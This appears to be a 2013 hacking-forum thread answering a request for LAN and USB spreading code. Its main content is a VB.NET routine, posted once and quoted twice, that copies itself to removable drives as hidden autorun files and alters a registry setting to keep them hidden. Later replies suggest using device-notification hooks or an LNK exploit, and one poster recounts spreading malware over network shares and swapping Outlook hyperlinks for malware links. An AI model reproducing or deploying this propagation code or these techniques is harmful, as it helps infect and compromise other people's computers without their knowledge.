Anyone got Lan spread source code and usb thanks
Try expressing a coherent thought by writing intelligibly?
Code Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End Module
Call USBInfect()
(Oct 28, 2013 01:58 PM)the.torrent6 Wrote: Code Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End Module
Call USBInfect()
Congratz on your first post! Now how is that related to this section?
RtlCreateIrlObjectA
DO NOT DEAL WITH THIS MEMBER
(Oct 28, 2013 01:58 PM)the.torrent6 Wrote: Code Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End Module
Call USBInfect()
This thread is over 4 months old and that isn't even in the right section.
(Oct 28, 2013 06:48 PM)Obergruppenführer Wrote: This thread is over 4 months old and that isn't even in the right section.
It's also over 2 minutes old. And that isn't even close to how old it really is.
That's just the minimum (now expired) value. The maximum? 06-11- 2012, 01:10 PM to the moment you read this post.
Hook the Windows API and wait for a removable device to be plugged in [below Syntax] - For something common use a LNK exploit
Code HDEVNOTIFY WINAPI RegisterDeviceNotification(
_In_ HANDLE hRecipient,
_In_ LPVOID NotificationFilter,
_In_ DWORD Flags
);
Something I tried a year or so back was to attempt and spread my malware to available network shares and then inject in to Outlook, replacing the links within hyper-linked text with the link to my malware. Only users within the domain who had access to the network (usually LAN) - some VPN users would get infected.
🤝
EDIT: OP is 4 months old, fail.
|